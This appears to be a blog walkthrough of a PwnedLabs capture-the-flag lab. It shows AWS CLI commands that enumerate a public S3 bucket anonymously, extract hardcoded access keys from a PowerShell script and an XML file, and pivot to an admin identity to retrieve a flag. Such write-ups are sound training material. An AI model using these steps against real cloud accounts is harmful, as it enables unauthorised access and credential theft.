Pawned Labs AWS

Pawned Labs: AWS S3 Enumeration Basics

Author
Dulanjana Fernando
Oct 28, 2026  •  8 min read  •  10 views
Pawned Labs: AWS S3 Enumeration Basics

AWS S3 Enumeration Basics lab is a PwnedLabs beginner lab that focuses on identifying, enumerating, and escalating privileges within AWS S3 infrastructure starting from a public web application footprint. Initial web reconnaissance against the website identifies static assets hosted directly out of the S3 bucket. Unauthenticated bucket listing reveals a publicly readable shared/ directory containing a zip, which yields a PowerShell script with embedded AWS access keys for the pam-test IAM identity. Authenticating as pam-test grants access to list restricted bucket prefixes, exposing an XML file. Parsing this XML file discloses valid production credentials for the it-admin IAM identity. Auditing the S3 bucket policy as it-admin reveals an explicit deny statement targeting pam-test for the admin/* prefix, which blocks pam-test from downloading sensitive files. Authenticating as it-admin bypasses this restriction, allowing successful retrieval of the flag.

1. Scenario & Real-world context

1.1 Scenario

It's your first day on the red team, and you've been tasked with examining a website that was found in a phished employee's bookmarks. Check it out and see where it leads! In scope is the company's infrastructure, including cloud services.

1.2 Real-world context

Amazon S3 (Simple Storage Service) is a very popular (and the second oldest!) AWS service that is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years, AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.

2. Initial Web Reconnaissance

The supplied URL http://dev.huge-logistics.com renders a static website.

Article Image
Static Website

Inspecting the HTTP headers indicates the server name is AmazonS3, hinting that the website might be hosted on an AWS S3 bucket.

curl -I http://dev.huge-logistics.com
HTTP/1.1 200 OK
x-amz-id-2: PUr4qr9/P8V1gpnMA0gJrdD8E7BcUZPXlshVaCCB8XwO/+ZVByXFWVLB2iRP6vlx6UMMMC5MgAGd0jNuY5MaKk6nAebLfVhs
x-amz-request-id: 7FK922D0CX7636JR
Server: AmazonS3
Date: Wed, 28 Oct 2026 09:36:17 GMT
Last-Modified: Mon, 16 Oct 2023 17:00:47 GMT
ETag: "67b9af5c7866413fccc97dad74b997ff"
Content-Length: 5347
Content-Type: text/html

Since the website is hosted on an AWS S3 bucket, the bucket name should be dev.huge-logistics.com.

3. Unauthenticated S3 Bucket Enumeration

3.1 Bucket Directory & Subpath Enumeration

With the discovery of the bucket name, I decided to enumerate the contents of the /static directory anonymously. My unauthenticated directory enumeration failed with an access-denied exception.

However, I was successfully able to list the contents of the bucket root directory.

aws s3 ls s3://dev.huge-logistics.com --no-sign-request
                           PRE admin/
                           PRE migration-files/
                           PRE shared/
                           PRE static/
2023-10-16 13:00:47       5347 index.html

3.2 Subdirectory Access Control Assessment

With the reveal of the directories inside the bucket, I tried to list the contents of the directories such as /admin and /migration-files. But I received access denied exceptions for anonymous access requests.

But I was able to list the contents of the shared/ directory successfully.

aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 11:08:33          0 
2026-06-19 18:23:43       1877 hl_migration_project.zip

3.3 Artifact Extraction & Static Code Analysis

I was able to download the hl_migration_project.zip file into my loacl machine using aws s3 cp command.

aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip --no-sign-request .
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl_migration_project.zip

Unzipping the ZIP file generated a PowerShell script named migrate_secrets.ps1.

unzip hl_migration_project.zip
Archive:  hl_migration_project.zip
  inflating: migrate_secrets.ps1     
  inflating: __MACOSX/._migrate_secrets.ps1 

Inspecting the PowerShell script revealed some AWS credentials hardcoded in the file.

cat migrate_secrets.ps1
# AWS Configuration
$accessKey = "AK*************JSZZZ"
$secretKey = "LUW9E*********************sLscZLw"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region
........

4. Initial Identity Pivot (pam-test)

4.1 AWS Profile Configuration & Identity Verification

I used the credentials found to configure the AWS CLI using aws configure command.

aws configure
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: AK*************JSZZZ
AWS Secret Access Key [None]: LUW9E*********************sLscZLw
Default region name [None]: us-east-1
Default output format [None]: 

By executing the aws sts get-caller-identity command, I was able to verify that the credentials are valid and active and that the credentials are for the user pam-test.

aws sts get-caller-identity
{
    "UserId": "AIDA3SFMDAPOYPM3X2TB7",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/pam-test"
}

4.2 IAM Permission Probe

With authentication as user pam-test, I decided to probe IAM permissions, but all the IAM requests were blocked with an access denied exception.

# IAM Permissions Enumeration
aws iam list-user-policies --user-name pam-test
aws iam list-attached-user-policies --user-name pam-test
aws iam list-groups-for-user --user-name pam-test

5. Authenticated S3 Enumeration

5.1 Expanded Bucket Enumeration

Since I do not have permission to enumerate IAM permissions, I decided to enumerate the dev.huge-logistics.com S3 bucket with the pam-test user's access.

I decided to enumerate the /admin directory first, and I was able to list the contents successfully.

aws s3 ls s3://dev.huge-logistics.com/admin/
2023-10-16 11:08:38          0 
2024-12-02 09:57:44         32 flag.txt
2023-10-16 16:24:07       2425 website_transactions_export.csv

The /admin directory contains the flag, but as user pam-test, I do not have permission to download the flag file.

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden

Since I do not have permission to download the flag file, I decided to enumerate the /migration-files directory, and I was able to list the contents of the directory successfully.

aws s3 ls s3://dev.huge-logistics.com/migration-files/
2023-10-16 11:08:47          0 
2023-10-16 11:09:26    1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 11:09:25    1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 11:09:27       1853 migrate_secrets.ps1
2026-01-30 14:53:58       2494 test-export.xml

This directory has another PowerShell script and an XML file. I decided to download both of the files for inspection.

aws s3 cp s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 migrate_secrets2.ps1
download: s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 to ./migrate_secrets2.ps1

aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml .
download: s3://dev.huge-logistics.com/migration-files/test-export.xml to ./test-export.xml

5.2 Secondary Credentials

Inspecting the newly downloaded PowerShell script, I was able to find another set of AWS credentials.

cat migrate_secrets2.ps1
# AWS Configuration
$accessKey = "AKIA************XEHU"
$secretKey = "MwGe3l***************************3RX/gb9"
$region = "us-east-1"

I decided to configure a new AWS CLI profile with the name migration-creds-profile.

aws configure --profile migration-creds-profile
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: AKIA************XEHU
AWS Secret Access Key [None]: MwGe3l***************************3RX/gb9
Default region name [None]: us-east-1
Default output format [None]: 

But these credentials seem to be invalid or revoked because I received an InvalidClientTokenId exception while trying to authenticate with the new credentials.

aws sts get-caller-identity --profile migration-creds-profile
aws: [ERROR]: An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation: The security token included in the request is invalid.

5.3 XML Credential Mining

Inspecting the test-export.xml, I found another set of AWS credentials. Based on the note, these credentials are used for production workloads.

cat test-export.xml
<?xml version="1.0" encoding="UTF-8"?>
......
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>794929857501</AccountID>
        <AccessKeyID>AKIA************LJAG</AccessKeyID>
        <SecretAccessKey>2ubzcve*************************0LFUqUsu</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
......

I was able to create a new AWS CLI profile with the name it-admin-creds-profile using these new credentials.

aws configure --profile it-admin-creds-profile
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.

AWS Access Key ID [None]: AKIA************LJAG
AWS Secret Access Key [None]: 2ubzcve*************************0LFUqUsu
Default region name [None]: 
Default output format [None]: 

Validating the credentials using aws sts get-caller-identity --profile it-admin-creds-profile revealed that the credentials are valid, active and belong to user it-admin.

aws sts get-caller-identity --profile it-admin-creds-profile
{
    "UserId": "AIDA3SFMDAPOWKM6ICH4K",
    "Account": "794929857501",
    "Arn": "arn:aws:iam::794929857501:user/it-admin"
}

6. Flag Capture

With the it-admin user access, I decided to enumerate the bucket policy to check if the it-admin user has the necessary permissions to download the flag file.

aws s3api get-bucket-policy --bucket dev.huge-logistics.com --profile it-admin-creds-profile | jq -r '.Policy' | jq
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "PublicRead",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": [
        "arn:aws:s3:::dev.huge-logistics.com/shared/*",
        "arn:aws:s3:::dev.huge-logistics.com/index.html",
        "arn:aws:s3:::dev.huge-logistics.com/static/*"
      ]
    },
    {
      "Sid": "ListBucketRootAndShared",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:ListBucket",
      "Resource": "arn:aws:s3:::dev.huge-logistics.com",
      "Condition": {
        "StringEquals": {
          "s3:delimiter": "/",
          "s3:prefix": [
            "",
            "shared/",
            "static/"
          ]
        }
      }
    },
    {
      "Sid": "AllowAllExceptAdmin",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::794929857501:user/pam-test",
          "arn:aws:iam::794929857501:user/it-admin"
        ]
      },
      "Action": [
        "s3:Get*",
        "s3:List*"
      ],
      "Resource": [
        "arn:aws:s3:::dev.huge-logistics.com",
        "arn:aws:s3:::dev.huge-logistics.com/*"
      ]
    },
    {
      "Sid": "ExplicitDenyAdminAccess",
      "Effect": "Deny",
      "Principal": {
        "AWS": "arn:aws:iam::794929857501:user/pam-test"
      },
      "Action": "s3:*",
      "Resource": "arn:aws:s3:::dev.huge-logistics.com/admin/*"
    }
  ]
}

Since it-admin was not listed in ExplicitDenyAdminAccess, it-admin has full s3:Get* and s3:List* capabilities across the admin/ directory.

Authenticating as the it-admin user, I was able to retrieve the flag file and capture the flag.

aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile it-admin-creds-profile
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt

Tags:
AWS IAM S3

You might also like...

Pawned Labs: Identify the AWS Account ID from a Public S3 Bucket
Pawned Labs AWS
Pawned Labs: Identify the AWS Account ID from a Public S3 Bucket

Identifying the AWS Account ID from a Public S3 Bucket is a PwnedLabs beginner l...

Read More
Pawned Labs: Breach in the Cloud Walkthrough
Pawned Labs AWS
Pawned Labs: Breach in the Cloud Walkthrough

Breach in the Cloud is a PwnedLabs beginner lab that features an AWS incident re...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.